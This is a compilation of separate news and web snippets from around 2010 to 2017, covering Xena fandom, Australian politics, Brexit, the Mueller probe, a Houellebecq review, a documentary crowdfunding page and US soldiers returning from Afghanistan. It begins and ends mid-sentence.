much everything all the time, the 90s were a different time. Yet somehow, Xena managed to grow an online fandom. The Xena fandom was one of the first to utilize the net to discuss their favourite show via the Xena Online Community board. The Xena fandom was so strong that it only just had its final convention in 2015, a full 14 years after the show ended, and the online forums are still alive and thriving. XENA WAS ORIGINALLY SUPPOSED TO DIE Xena was originally only brought into Hercules because producer Rob Tapert wanted a dark figure to counterbalance the cheerful and heroic Hercules. She was supposed to be there for three episodes and then die, but Tapert and the other producers liked Xena so much that they remodelled their previously planned Hercules spin-off just for her. Praise the TV Gods. This story originally appeared in the New Zealand Herald. -Please enable Javascript to watch this video Occupy protestors performed a small bit of satirical play acting Wednesday as a form of demonstrating against the influence of corporate money in government. Both Occupiers and supporters of LGBT rights had their say as the lawmakers and lobbyists observed from the balconies inside the Capitol Rotunda. “Today's event is a piece of political theater and it’s is intended to showcase how ALEC, or the American Legislative Exchange Council has an influence and a direct impact on our legislative branch,” said Occupy Salt Lake protestor Michael Wilson. ALEC describes itself as a conservative legislative think-tank that creates model legislation lawmakers can take to their states and use. According to their website, they are the "only" organization to provide that service in the country. Their next annual meeting is in Salt Lake City. “Attending the summit here this summer is $7000 if you're an attendee or $50 if you happen to be a legislator,” said Wilson. FOX 13 tried contacting ALEC via phone and email, but had not received a response back as of Wednesday whether those costs disparities between a private person and a legislator are true. An LGBT protest that also happened earlier Wednesday had protestors expressing a degree of anger in regards to a statewide antidiscrimination bill getting quickly tabled by lawmakers. FOX 13 will have more on this protest tonight during News at Nine. -MADRID — European basketball authorities say they will investigate an alleged assault of former Portland Trail Blazer player Rudy Fernandez while he was boarding the team bus in Lithuania. Fernandez plays for Real Madrid, and the mayhem followed his team's 105-104 overtime win over Zalgiris Kaunas on Thursday. Madrid official Juan Sanchez says two fans hit Fernandez on the shoulder and neck and struck a security guard several times. The Euroleague says it has asked for reports from both teams and the local police. Fernandez was back in his home country of Spain on Friday. He says he is fine and thankful "things did not go further." He stresses that "people should not think that all Lithuanian fans are like that just because of these two people. Not at all." -- The Associated Press -Researchers from the Johns Hopkins Center for Gun Policy and Research, part of the Johns Hopkins Bloomberg School of Public Health, compared Connecticut's homicide rates during the 10 years following the law's implementation to the rates that would have been expected had the law not been implemented. The large drop in homicides was found only in firearm-related killings, not in homicides by other means, as would be expected if the law drove the reduction. Earlier research from Webster found that Missouri’s 2007 repeal of its handgun license law was associated with a 25 percent increase in its firearm homicide rates. For the Connecticut study, Webster and his colleagues used comparison states with homicide trends that most closely matched those in Connecticut before the law went into effect in order to predict what would have happened to homicide trends in Connecticut had the handgun licensing law not been implemented. “Taken together, these studies provide compelling evidence that permit to purchase licensing systems is one of the most effective policies we have to reduce gun violence,” Webster says. In 1995 Connecticut added a law to the state's books requiring licenses (permits) and requiring background checks. Researchers at Johns Hopkins Center for Gun Policy and Research decided to look into whether or not there were any results as a result. Comparing these results with results of the inverse happening in Missouri after they repealed their handgun law license has led to the shocking conclusion that gun laws help save lives. Cold dead hands and all that. -Story highlights Police: 14-year-old was armed with a pistol, held hostages in a 2nd-floor classroom He released the hostages first, then put down his gun and surrendered to authorities (CNN) A 14-year-old boy held numerous students and a teacher hostage Tuesday inside his West Virginia high school -- a scary episode that ended peacefully with the teen dropping his gun and surrendering, police said. A 911 call placed at about 1:30 p.m. alerted Barbour County authorities that a person with a gun was inside Philip Barbour High School in Philippi, a city of 3,000 people about 40 miles south of Morgantown. According to a West Virginia State Police post on Facebook, responding officers arrived to find a 14-year-old armed with a pistol with other students and the teacher in a second-floor classroom. Everyone else was quickly shuttled to safety, first to the school's football field and then home via bus. No injuries were reported. Read More -Tony Abbott under fire from Cabinet colleagues over decision to grant knighthood to Prince Philip Updated Some of Prime Minister Tony Abbott's most senior colleagues are bewildered, angered and dismayed by his decision to award an Australian knighthood to Prince Philip. Prince Philip and former Defence Force chief Angus Houston were named Australia's newest knights today, under an honours system reinstated by Mr Abbott last year. Cabinet ministers have told the ABC the Prime Minister did not consult any of the leadership group before announcing the move. Mr Abbott agreed it was a "captain's call", saying he consulted only with Governor General Sir Peter Cosgrove and Order of Australia chairman Sir Angus. Ministers said they would have opposed the knighthood, if asked. One described it as a "stupid" decision that would make the Government an object of ridicule. Another said the Prime Minister's colleagues were willing him to succeed, but he had started the year badly and had made the job of trying to lift the Coalition's electoral credibility just that much harder. "There is an old saying that when you are in a hole you should stop digging," one minister said. "Well, we've just punched through the Earth's crust." Another Coalition MP said the move reinforced the left-wing caricature of the Prime Minister: the appointment harked to Australia's past and the opportunity of making a positive statement about the future on the national day had been squandered. The private anger of Coalition MPs and ministers was given public voice by the conservative chief minister of the northern territory, Adam Giles. He said that when he read reports of the Prince's knighthood this morning he wondered if he had woken on April Fools' Day. "It's Australia Day," he said. "We're not a bunch of tossers, let's get it right." The move to award an Australian knighthood to the Queen's husband has also been criticised by republicans, with former Western Australia premier Geoff Gallop calling it a "sad reflection" on Australia. And it drew fire on social media from commentators including Canberra press gallery veteran Laurie Oakes, who tweeted: "Libs must wonder who can help a PM apparently determined to be seen as a joke. #jokeknighthood". Answering questions about the decision at an Australia Day event in Canberra today, Mr Abbott said he was "really pleased" the Queen had accepted his recommendations on the knighthoods and added that whilst the Duke had not called to say thank you for the honour, he did not "expect gratitude". And he said social media criticism of the move was akin to "electronic graffiti" "I think that in the media, you make a big mistake to pay too much attention to social media. You wouldn't report what's sprayed up up on the walls of buildings and look, as I said, social media has its place, but it's anonymous," he told reporters. "It's often very abusive and in a sense, it has about as much authority and credibility as graffiti that happens to be put forward by means of IT." Mr Abbott said he stood by the decision to award the knighthood to 93-year-old Prince Philip because "the monarchy has been an important part of Australia's life since 1788". "Prince Philip has been a great servant of Australia, he's been a great servant of all the countries of the Commonwealth. "Here in this country he's the patron of hundreds of organisations. He's the inspiration and wellspring of the Duke of Edinburgh's Awards which have provided leadership training for tens if not hundreds of thousands of Australians over the years. "I'm just really pleased that in his 90s, towards the end of a life of service and duty, we in this country are able to properly acknowledge what he's done for us." Asked how widely he had consulted before making the decision, Mr Abbott said: "As you would expect, I consulted with the Chairman of the Order of Australia, and I consulted with the Governor-General. That's what you would expect." Asked if Prince Philip was a "captain's pick" for the award, Mr Abbott said "I'm not going to dispute your characterisation" before calling for questions on other topics. Shorten says award for British royal 'a time warp' Opposition Leader Bill Shorten, who yesterday called for a renewed debate on Australia becoming a republic, said giving a knighthood to an English royal on Australia Day was outside the mainstream of Australian thinking. "It's a time warp where we're giving knighthoods to English royalty," Mr Shorten told Fairfax Radio. "On Australia Day, we're talking about Australia, Australian identity, the Government's managed to find a British royal to give a medal to, a knighthood to." He said that if Labor won office it would not continue the tradition of knights or dames. "When we look at Australia in the 21st century, it's about who we're going to be as a people and I just think giving out a top award to a British royal is anachronistic." Prince has 'long relationship with Australia' Earlier the head of Australians for Constitutional Monarchy, Professor David Flint, said the knighthood was an appropriate recognition for Prince Philip's "long relationship with Australia". "He was a sailor in the convoys that protected Australian troops being taken to the Middle East in the Second World War," Professor Flint said. "He was also in the Pacific Fleet and he was actually in Tokyo Bay at the time the Japanese surrendered. "He opened the '56 Olympics, he's got a very long relationship through the Duke of Edinburgh Awards scheme." But Mr Gallop said Mr Abbott's decision to start awarding Australian knighthoods had "heavily polluted" the Australian honours system. "As we try to reflect upon our nation ... one of Australia's highest honours goes to someone who's not part of our community," he said. "In effect this is the eccentricity of Tony Abbott's views on our constitution coming through. "It certainly doesn't reflect the view of the Australian people through a meritocratic process." Famed for his off-the-cuff quips and gaffes, Prince Philip, who married Queen Elizabeth in 1947, is the longest serving royal consort in British history. The Queen once described him as "my strength and stay all these years". But the duke, a constant presence by his wife's side throughout her six decades on the throne, has suffered a series of health scares in recent years. Topics: constitution, government-and-politics, royal-and-imperial-matters, human-interest, abbott-tony, australia, united-kingdom First posted -WE STILL NEED YOUR HELP! HOURS LEFT TO PLEDGE! Even though we have met our goal, we'd love to raise another $3k to help cover the Kickstarter and Amazon fees (8-10%). We still have some great rewards available and even several producer credits left! RECENT PRESS Huffington Post - USA Today - Indiewire - "Project of the Day" Sundance just featured us on their front page! Check it out here. ABOUT THE FILM FIGHT CHURCH is a feature documentary about the confluence of Christianity and Mixed Martial Arts. The film follows several pastors and fighters in a quest to reconcile their faith with a sport that some consider violent and barbaric. Faith is tried and questions are raised. Can you really love your neighbor as yourself and then punch him in the face? WHY WE NEED YOUR HELP The film is still a long ways from being done and we must raise 30k to complete our shooting and post production. Here's where your money will be going: 1) $12,500- We need to return to New York and various other states to film with our main character and additional characters. Without this footage, we won't be able to tell the full story. 2) $17,500- We have another 6-9 months of editing ahead of us. We need to hire an editor and an assistant editor at a bare bones salary to work with us to shape the story. We have about half the film edited, but can't finish without a budget. Please help us tell the stories of these amazing individuals today! We want to finish our passion project and can't do it without your help! ________________________________________________________ THE FILMMAKERS & THEIR FILMS While some of you may already be familiar with our work, others may not. Here are a few of the past projects we've completed. Daniel Junge, Director Saving Face - Oscar Winner for Best Documentary Short. The film follows several Pakistani women who are victims of acid violence. The Last Campaign of Governor Booth Gardner - Oscar Nomination. The documentary follows the assisted suicide ballot initiative in Washington State. They Killed Sister Dorothy - Jury and Audience Award Winner at SXSW, Emmy-nominated, Oscar Short-Listed. Documentary on the killing of 73-year-old Catholic nun and activist Sister Dorothy Stang. Bryan Storkel, Director Holy Rollers: The True Story of Card Counting Christians - Award-winning documentary tells the story of a team of card counting Christians who took millions from Vegas. Eben Kostbar & Joseph McKelheer, Producers (Film Harvest) Free Samples - Narrative Feature starring Jesse Eisenberg, Jason Ritter, & Jess Weixler. Premiered at Tribeca 2012. The Hammer - Award Winning Biopic on UFC fighter, Matt Hamill. __________________________________________________ HOW CAN YOU HELP US FURTHER? Please follow us on Facebook and Twitter, and please tell your friends and family about our Kickstarter campaign. Fight Church on Facebook Fight Church on Twitter Because of how Kickstarter works, if we don't reach our goal of $30k, we won't get to keep any of the money. We can't do this without you! Here's how you can help us... 1) Like us on Facebook, then share the Kickstarter Link with your FB friends, asking them to pledge. 2) Make a small donation to help us finish the film! THANK YOU VERY MUCH! :) -The spotlight cast on the novelist by the Charlie Hebdo attacks should not mislead us – his target here is not Islamism but suggestible modern men News: Houellebecq stops promotion of novel after Charlie Hebdo attack As the aftermath of the Charlie Hebdo murders continues to unfold, French readers are turning to the magazine’s latest cover star, with Michel Houellebecq’s Soumission racing to the top of bestseller lists at Amazon.fr. But is France’s most celebrated controversialist offering a splenetic vision of the Muslim threat to Europe or a spineless “submission” to gradual Islamic takeover? Actually, neither. It’s much more interesting than that. Those riffling impatiently through the opening for controversy will be disappointed, as we are introduced slowly to the narrator, François, a middle-aged literary academic who teaches at the Sorbonne. He is an expert on Huysmans, the cultish 19th-century anatomist of decadence, and he sleeps hungrily with his students. But he is bored. The narration is enjoyably sardonic, a pungent mixture of deadpan jokes about sexual politics and close reading. The novel, due to be published in English later this year, is set seven years hence, in the year 2022. François settles in to enjoy the TV spectacle of the presidential elections, which he considers second only to the World Cup for entertainment value. After the first round of voting, the two candidates left are Marine Le Pen, leader of the far-right Front National, and the head of France’s new Islamic party, Mohammed Ben Abbes. The Socialists do a deal with the “Muslim Fraternity” to defeat Le Pen, and Ben Abbes becomes president. Immediately all women go veiled in the street, state secondary schools adopt an Islamic curriculum, and François is informed that he cannot return to his university work unless he converts to Islam. Some in France have already complained that the novel fans right-wing fears of the Muslim population, but that is to miss Houellebecq’s deeply mischievous point. Islamists and anti-immigration demagogues, the novel gleefully points out, really ought to be on the same side, because they share a suspicion of pluralist liberalism and a desire to return to “traditional” or pre-feminist values, where a woman submits to her husband – just as “Islam” means that a Muslim submits to God. But Soumission is, arguably, not primarily about politics at all. The real target of Houellebecq’s satire – as in his previous novels – is the predictably manipulable venality and lustfulness of the modern metropolitan man, intellectual or otherwise. François himself happily submits to the new order, not for any grand philosophical or religious reasons, but because the new Saudi owners of the Sorbonne pay much better – and, more importantly, he can be polygamous. As he notes, in envious fantasy, of his charismatic new boss, who has adroitly converted already: “One 40-year-old wife for cooking, one 15-year-old wife for other things … no doubt he had one or two others of intermediate ages.” Michel Houellebecq stops promotion of new novel after Charlie Hebdo attack Read more The novel ends in an almost science-fictional conditional mood, with François looking forward dreamily to his own conversion and a future of endless sensual gratification: “I’d have nothing to regret.” But with his publisher under police protection, Houellebecq must surely regret the manner in which his darkly clever and funny book has become another succès de scandale. -Two worlds collide in Mario + Rabbids® Kingdom Battle! This game is available for purchase exclusively on Nintendo eShop for Nintendo Switch. Gold Edition includes game and season pass: 8 new solo challenges + 5 co-op maps 16 new weapons. An exclusive world featuring a new hero, coming in early 2018. The Mushroom Kingdom has been torn apart by a mysterious vortex, transporting the chaotic Rabbids into this once-peaceful land. To restore order, Mario, Luigi, Princess Peach, and Yoshi must team up with a whole new crew: four Rabbids heroes! Together, they will battle with weapons through four worlds filled with combat, puzzles, and unpredictable enemies. Developed exclusively for the Nintendo Switch™ system, Mario + Rabbids Kingdom Battle is the best of the Mario and Rabbids franchises, combining all that you love about Mario's iconic universe with the side-splitting antics of the Rabbids. -Image caption Harry Redknapp said two men fell on their knees and began pulling at his trouser legs Tottenham Hotspur manager Harry Redknapp has revealed he was mugged while attending a football match in Spain on Thursday. Redknapp, 63, was in Madrid to see the Spanish capital's two main teams, Real and Atletico, play in the Copa del Rey. He said two men fell to their knees in front of him and tugged at his trouser legs to distract him while four others took money and items from his pockets. Redknapp said he did not report the incident to police. He said he was at the match with his assistant manager Kevin Bond and had to borrow money from him to pay for a taxi back to his hotel and for dinner before returning to London. 'Got some sweets' The former Portsmouth and West Ham manager said: "I'm walking round the outside of the stadium, it's a fantastic atmosphere, there's all little stalls there selling sweets. I just probably looked stupid or something Harry Redknapp "I got some sweets, me and Kevin, and it was so packed. The next thing there's two guys on their knees in front of me and I felt someone pull my overcoat. "I thought 'what are you doing?'. The next thing he's got my keys on the floor. "I thought 'is he a blind man or someone having trouble walking properly?' What are they doing, these two blokes? "I'm going 'let go of my trousers', pushing them away. While I'm doing that they're rifling my pockets, there were about six of them. And then they went. Image caption The Spurs manager was in Spain to watch Real Madrid beat Atletico Madrid "I thought 'what are they doing?' I went to put my hand in my pockets and realised what they'd done. "They took everything. All my money, credit cards, everything really." The Spurs manager said he did not believe the muggers knew who he was. "I just probably looked stupid or something, and they thought 'here's one here, he's not Spanish, obviously and we're looking for a foreigner'." Real Madrid won the match at Atletico's Vicente Calderon Stadium 1-0. Redknapp said the incident unsettled him and he left about 15 minutes before the end of the game, which he attended to watch potential transfer target Diego Forlan, the former Manchester United striker. -Image caption Mr Eastwood said if the 90,000 people who voted in the Brexit referendum turn out in March we wouldn't be 'hurtling towards direct rule' The SDLP leader has urged the public to turn out for March's assembly elections in the same numbers as the EU referendum in June. Colum Eastwood said if voter turnout was as high as it was for Brexit it could avoid the collapse of Stormont and a lengthy period of direct rule. The referendum saw 63% of the electorate in Northern Ireland voting. That was eight percentage points higher than the turnout for the Stormont election the previous month. 'Alternative power-sharing government' Mr Eastwood told the BBC he believed that a higher turnout on 2 March would increase the chances of a change to the status quo. Speaking to the Inside Politics programme, he argued that his party and the Ulster Unionists had shown they could work together in a spirit of co-operation, but acknowledged they would need other parties to form an alternative power-sharing government together. Mr Eastwood said that next month's election presented a "major opportunity" to change local politics. Image caption 62.7% of the electorate voted in the referendum, 8% higher than the turnout for the May's Stormont election "If you take the 90,000 people who voted in the Brexit referendum but didn't vote in the May election," he argued, "if those people came out, then you'd have a very different type of politics. "We wouldn't be hurtling towards direct rule that we might not come back from. We'd be able to form a government on day one despite all the differences and all of the challenges." 'Full transparency' The SDLP leader said he wrote some weeks ago to the Secretary of State James Brokenshire asking him to name a date for the publication of party political donations. Previously the SDLP had opposed full transparency over donations, but Mr Eastwood said that in the wake of the Renewable Heat Incentive scandal it is right that the current rules should change. The SDLP leader said it is unfortunate that the DUP has not revealed the identity of an English organisation which helped fund its Brexit referendum campaign. Questioned about the Irish government's opposition to the idea of special designated status for Northern Ireland within the EU, Mr Eastwood said he didn't care about the "semantics" of what any special measures are called, but supports protection for citizens, businesses and communities who will be disadvantaged as a result of Brexit. Image caption On reforming the petition of concern, Mrs Long argued that neither the DUP nor Sinn Féin have been genuine in their approach. 'About policy, not people' Meanwhile, the Alliance leader Naomi Long has said she will not base her decision on joining a future Stormont executive on whether Arlene Foster is nominated again as first minister. Both Sinn Féin and the SDLP have said they would not be prepared to participate in an executive led by Mrs Foster before she is cleared of responsibility by the public inquiry now examining the Renewable Heat Incentive scandal. However, if Alliance is approached to take a department it will not be taking a similar line as Mrs Long believes any decision "should not be about people or personalities, but rather about policy and practice". On reforming the petition of concern, Mrs Long argued that neither the DUP nor Sinn Féin had been genuine in their approach. She told Inside Politics the assembly must continue to have protection mechanisms for minorities and she believes Arlene Foster's suggestion that the petitions of concern could be abolished is in order to have "no restraint on the DUP's ability, or unionists' collective ability to simply override nationalist opinion." On the RHI scandal, the Alliance leader said the publication of the names of RHI recipients of the scheme would only be meaningful if it happened in conjunction with the release of the names of donors to political parties in Northern Ireland. -What do you want done with your body after you die? It is an unnerving but important question, and for most Americans there have long been only two obvious choices: burial or cremation. But a third option, a liquefaction process called by a variety of names — flameless cremation, green cremation or the “Fire to Water” method — is starting to gain popularity throughout the United States. This week, California became the 15th state to outline commercial regulations for the disposal of human remains through the method, chemically known as alkaline hydrolysis. It may seem markedly different from the traditional means of digging graves or burning the dead. A machine uses a chemical bath to dissolve protein, blood and fat, leaving only a coffee-colored liquid, powdery bone and any metal implants, like dental fillings. -Mueller Turns Up The Heat With Unusual Search Warrant In Russia Probe Enlarge this image toggle caption Alex Wong/Getty Images Alex Wong/Getty Images Federal prosecutors have lots of ways to intensify pressure on the people they're investigating, from early morning FBI raids to leaning on relatives of those under government scrutiny. But even by those measures, the special counsel investigating Russian interference in last year's presidential election is moving with unusual speed and assertiveness, according to half a dozen legal experts following the probe. Consider disclosures that FBI agents executed a search warrant last month for business and tax records at the suburban Virginia home of former Trump campaign chairman Paul Manafort. That step would have required them to prove to a judge that there's probable cause a crime has been committed. Kenneth Starr, the Whitewater independent counsel frequently criticized for alleged overreach by then-President Bill Clinton, never utilized search warrants, two members of the team told NPR. Neither did the special counsel investigating the leak of a CIA operative's identity in the George W. Bush administration, said William Jeffress, a Washington attorney who represented White House aide Lewis "Scooter" Libby in that probe. "A search warrant in a case like this is highly unusual," Jeffress said. Lawyers said the special counsel may have been motivated to use a search warrant over concerns that evidence might be concealed or destroyed, which sometimes happens in terrorism and drug trafficking cases. Or, they said, Mueller may have been moving quickly amid a series of existential threats. In recent weeks, President Trump has blasted the Russia investigation as a "witch hunt" and flirted with the idea of firing Justice Department leaders as a roundabout way to get rid of Mueller himself. Talking with reporters Thursday, the president said he was "very surprised" by the FBI raid at Manafort's home and said it sent a "strong signal." Trump also said that the White House is cooperating with the special counsel probe even though, he said, the subjects under investigation never happened. In any case, the Justice Department frequently deploys tough tactics with a larger goal in mind: securing the cooperation of insiders who can guide authorities through a complex investigation and help deliver bigger targets. "I call it 'climbing the ladder,' " Jeffress said. "It happens in every corporate investigation," where investigators question clerks and assistants, and then move up to vice presidents and higher-level executives. A spokesman for Manafort, Jason Maloni, said he is responding to government inquiries. Whether Manafort, former Trump national security adviser Michael Flynn or anyone else decides to strike a deal with the government is being closely watched by people in and outside the probe. Authorities routinely enlist relatives to try to turn up the heat. Recent media reports suggested that investigators have reached out to Manafort's son-in-law, with whom he'd entered into some real estate dealings. Indeed, several members of Mueller's 16-lawyer special counsel team have a long history of approaching lower-level figures, including spouses and in-laws, to build bigger cases. Take Andrew Weissmann, a special counsel lawyer who once led the Justice Department's Enron Task Force. Prosecutors looking to uncover and punish fraud at that defunct energy company famously threatened to charge the wife of the company's chief financial officer with tax offenses if he did not agree to plead guilty and testify against his corporate superiors. The finance official, Andrew Fastow, refused. So, authorities indicted his wife, Lea. They both served prison time. A more recent addition to the special counsel team, Greg Andres, helped bring to justice the Bonanno crime family boss as a young mob prosecutor in Brooklyn, N.Y. Through the course of the trial, Andres helped unravel dozens of crimes over three decades, using federal agents and members of the crime family as narrators. One of his key witnesses was the brother-in-law of the defendant, Joseph Massino. "The story principally was told from the vantage point of those involved in the crimes at issue and their credibility was a crucial issue," Andres told the publication Law360 last year. Andres so got under the skin of the mobsters that one later testified he had been targeted for a "hit." -Media playback is unsupported on your device Media caption Jose Manuel Barroso: "Without the EU Britain will have less influence" The UK would have "zero" influence if it voted to leave the EU, the outgoing president of the European Commission has said. Jose Manuel Barroso said Britain could not negotiate with the US and China "on an equal footing" on its own. He also said free movement of people within the EU was an "essential" principle that could not be changed. Conservative Party chairman Grant Shapps said Mr Barroso was "out of touch" and an "unelected bureaucrat". Mr Barroso was asked about Prime Minister David Cameron's stated intention to negotiate a better deal for the UK in Europe, ahead of an in/out referendum. The prime minister has said he will "not take no for an answer" and "get what Britain needs" on the question of freedom of movement. 'One last go' If the Conservatives remain in power, a referendum would be held by 2017, Mr Cameron has said. Speaking on the BBC's Andrew Marr Show, Mr Barroso, whose term of office ends this month, said he believed Mr Cameron wanted Britain to remain in the EU. "Britain is stronger in the European Union," Mr Barroso said, pointing to the Ebola crisis as an area where Britain would not have the same level of influence if it was outside the EU. "David Cameron wrote to all of us about Ebola... What would be the influence of a prime minister of Britain if it was not part of the European Union? "His influence would be zero." Mr Cameron has said he wants to curb migration within the EU and last week pledged to have "one last go" at renegotiating the rules for Britain. The Conservatives lost the recent Clacton by-election to the UK Independence Party, which wants the UK to leave the EU. Image caption Conservative chairman Grant Shapps said Britain had negotiated "lots of impossible things" from the EU Mr Barroso would not comment on a report in the Sunday Times that the government could limit the number of national insurance numbers given to low-skilled immigrants. But he said that while the EU was willing to discuss benefit fraud and sham marriages, an "arbitrary cap" on migration would "not be in conformity with European rules". He said Mr Cameron had previously asked him to enforce the free movement principle between Spain and Gibraltar. Mr Barroso said 1.4 million Britons lived elsewhere in the EU and it was a "matter of fairness" that other EU citizens had the same rights. He also criticised comments by Foreign Secretary Philip Hammond last week that Britain was "lighting a fire under the European Union" with the proposed referendum. 'Slap-down' Mr Barroso said: "I'm told the foreign secretary was the former minister of defence. I think this reference to fire and weapons is more appropriate for defence than foreign secretary. "It is very important to have a positive tone regarding these issues between Britain and the EU." BBC political correspondent Matt Cole said this was a "bit of a slap-down" for Mr Hammond although Jean-Claude Juncker would shortly be taking over as commission president. Analysis Image copyright Reuters By BBC political correspondent Ben Wright These comments are definitely unhelpful - and a window into Brussels thinking. But Jose Manuel Barroso is on his way out - he's the outgoing president and a whole new commission will take over next month. And in several areas where David Cameron wants to renegotiate, he has allies in Europe. On restricting benefits that EU migrants can claim, his concern is shared in several capitals - most importantly Berlin. I think there is some support for returning powers from Brussels to national governments. But the big hurdle is this question of free movement of existing EU citizens which Mr Cameron is now talking about - even though we don't have a clear policy proposal from the government. A change of treaty would be impossible, I think. There could be an attempt to change the directive that puts the freedom into practice but that would require agreement by EU leaders and the parliament. The incoming commission president Jean-Claude Juncker has said he is prepared to make a "fair deal" with Britain. But it won't be at any price. 'Total free movement' Mr Shapps said Mr Barroso had "dismissed" the UK, adding: "If he can dismiss us... then every other country in the EU ought to look out because apparently no country means anything to him." Speaking on the BBC's Sunday Politics, Mr Shapps said "a whole bunch of things" needed to change in the EU, of which immigration control was "one of the important ones". Image copyright PA Image caption The government wants to get net migration below 100,000 a year He said: "[Mr] Barroso is only the latest person from Europe to tell us we will never get what we want." Mr Shapps said "there are lots of impossible things that we have negotiated" including a cut to the EU budget. UKIP leader Nigel Farage said there was no way of limiting European migration while the UK remained an EU member. "Do not take Mr Barroso's comments on their own," he said. "Everyone in Brussels... says the same thing. "We are committed by treaty - we have been since 1973 - to total free movement of peoples within the European Union." Non-negotiable The level of net migration stands at more than twice the government's target of 100,000 a year. International Development Secretary Justine Greening told Sky's Murnaghan programme: "Free movement of labour was never meant to be an unqualified principle, irrespective of how it might have worked on the ground. "We do need to see action taken in relation to negotiation with the EU." She said the government was "taking a fundamental look at some of the rules that allow unrestricted immigration". Eurosceptic Conservative MP John Redwood said he understood work had been going on "for some time" to come up with ways to limit migration from the EU. But the BBC's Mark Mardell said a senior Brussels source had told him Mr Cameron's plan was "complete nonsense legally and economically". Mats Persson, director of Open Europe, a think tank that calls for EU reform, said free movement was "the most basic principle perhaps of European Union membership, so you are effectively saying to the EU 'we want to renegotiate one of your founding principles'". -0 Since we started our IMAX screening series, we’ve mostly been focused on the newest movies about to be in theaters. While I love promoting new movies, when I first pitched the idea to IMAX for this series, the goal was to show both new and older films and balance the two. The fact is, while I love IMAX, the only negative about the format is that once a film is out of theaters, it’s extremely rare to be able to see it again on their massive screens. Which is why showing older films in our screening series is just as important to me as showing the newest release. And this brings me to our next IMAX screening: TRON: Legacy. On Tuesday, February 28 at 7pm, we’re going to be showing TRON: Legacy for the first time in laser projection and in 3D! Back in 2010, when Legacy was first in theaters, laser projection was still in development. Following the screening, I’ll be moderating an extended Q&A with director Joseph Kosinski where we will go in depth about the making of the film, the amazing Daft Punk soundtrack, and so much more. I’m a huge fan of Tron and the world Steven Lisberger created in the early 80s. I’ve probably watched the film more times than I care to admit and showing TRON: Legacy has been on my wish list for our IMAX screening series since it first started. So if you’d like to see TRON: Legacy in IMAX 3D and watch our Q&A with Joseph Kosinski you need to click this link to enter for tickets. We’ll be accepting requests until February 23rd and soon after we’ll contact the people that won with exact details about the screening. Good luck and hope to see you there! -But it is not so simple. The final weeks in a war zone are often the most dangerous, as weary troops get sloppy or unfocused. Once they arrive home, alcohol abuse , traffic accidents and other measures of mayhem typically rise as they blow off steam. Weeks later, as the joy of return subsides, deep-seated emotional or psychological problems can begin to show. The sleeplessness , anxiety and irritability of post-traumatic stress disorder , for instance, often take months to emerge as combat veterans confront the tensions of home and the recurring memories of war. Photo In their new normal, troops must reconnect with children, adjust to more independent spouses and dial back the hypervigilance that served them well in combat — but that can alienate them from civilians. “The hardest part for me is, I guess, not being on edge,” said Staff Sgt. Francisco Narewski, a father of three who just completed his second deployment. “I feel like I need to do something, like I need to go on mission or I need to check my soldiers. And I’m not.” For the First Battalion, 87th Infantry out of Fort Drum, N.Y., which recently finished a yearlong tour, leaving Afghanistan proved as deadly as fighting in Afghanistan. In the first 11 months of deployment, the battalion lost two soldiers, both to roadside bombs. During the next month, it lost two more, neither in combat. On March 9, the day before he was scheduled to leave Kunduz, Specialist Andrew P. Wade, 22, was accidentally shot and killed by a friend who was practicing a drill with his 9-millimeter pistol inside their tent. Three weeks later, Specialist Jeremiah Pulaski, who had returned from Afghanistan in February, was shot and killed by a police officer after he shot and wounded a man outside a bar in Arizona . He was 24. Advertisement Continue reading the main story Both soldiers were considered among the best in the battalion. Specialist Wade, a whiz with a soccer ball, was a member of the elite scouts platoon and on a fast track to promotion. Specialist Pulaski could be quick to use his fists in an argument but was revered for his fearlessness on the battlefield. Specialist Pulaski was awarded a Bronze Star with Valor for dashing across an open field during an ambush in December, drawing enemy fire away from his platoon. Later that same day, he killed several insurgents as they were trying to ambush his unit near a village called Haruti. Photo Captain Bonenberger, Specialist Pulaski’s company commander, said the soldier saved his life twice that day — and it gnawed at him that he had been unable to return the favor. “When he was in trouble, he was alone,” Captain Bonenberger said. “When we were in trouble, he was there for us. I know it’s not rational or reasonable. There’s nothing logical about it. But I feel responsible.” Final Weeks In Kunduz and Baghlan Provinces, war defied the usual rhythms last winter. American forces typically hunker down in the cold months to await the spring fighting season. But from October to January, American, German and Afghan forces cleared several major insurgent strongholds. By February, the Afghan police were conducting regular patrols alone into places they had refused to visit without American forces just weeks before: Gor Teppa, Chardara and Aliabad in Kunduz, and Dahana-i-Ghori and the Golden Triangle north of Pul-i-Khumri in Baghlan. Even a slice of Dasht-i-Archi, where the stoning of an adulterous couple last year became a worldwide symbol of the Taliban ’s resurgence, was cleared of mines and insurgent checkpoints. American intelligence officers say scores of insurgent fighters were killed and as many as 300 laid down their arms or switched sides. Cellphone towers that had been shut down nightly by the Taliban started running 24 hours a day. A radio station that played rock music returned to the air. Commerce revived along roads once too dangerous to travel. Advertisement Continue reading the main story Through the winter campaign, only a handful of American soldiers were wounded, and none died. “The police are more capable today than they were a year ago,” said Lt. Col. Russell Lewis, the battalion commander. “They are going places they haven’t been in years.” Photo Still, there was much debate among American soldiers over whether the stability would last. Had insurgent forces melted away simply to regroup for a spring offensive? Would the insurgents who switched sides remain allies? Many soldiers had doubts. Then came a series of attacks that made it clear the insurgents were not gone. In early February, the governor of Chardara District was killed by a suicide bomber just hours after a visit with Colonel Lewis. Two weeks later, a bomber detonated a powerful device in Imam Sahib, killing 30 people, most of them civilians. And in early March, another suicide bomber assassinated the police chief of Kunduz Province, Gen. Abdul Rahman Saidkhail, outside his heavily guarded office. General Saidkhail had been aggressive in pursuing Taliban commanders and cajoling their fighters to switch sides. To American officers, his death was a blow to the government of President Hamid Karzai and an ominous indication of what lay ahead for Kunduz Province. “Whatever chapter has been written is now finished,” Captain Bonenberger recalled thinking when he heard about the general’s death. “The book is lying on the table and that’s it. What’s done is done.” Journey Home The string of winter operations against the Taliban had given many soldiers a sense of accomplishment that was missing in the fall, when morale, like the temperature, was sinking. By the end of the tour, spirits were high and pranksters were afoot, hogtying officers in their beds and stealing clothing from showering soldiers. But there was also a more solemn sense among soldiers that they would return home altered by their year away. Specialist Alan Bakula, 22, had seen the exhilarating highs and shattering lows of combat. One of the battalion’s steadiest fighters, he earned two Purple Hearts and an Army Commendation Medal with Valor in several major firefights. Photo But he had also been shot through the ankle and hit by shrapnel in the elbow and the face. He had also seen one good friend, Specialist Matthew Hayes, lose his leg to a mine and another, Specialist Wade, killed in an accident. By the end of the deployment, he had lost his taste for battle and was ready to trade the Army for college. Advertisement Continue reading the main story “Getting injured a few times definitely changes your perspective a little bit, makes you feel a little less bulletproof,” he said in Kunduz. Specialist Billy Moody, 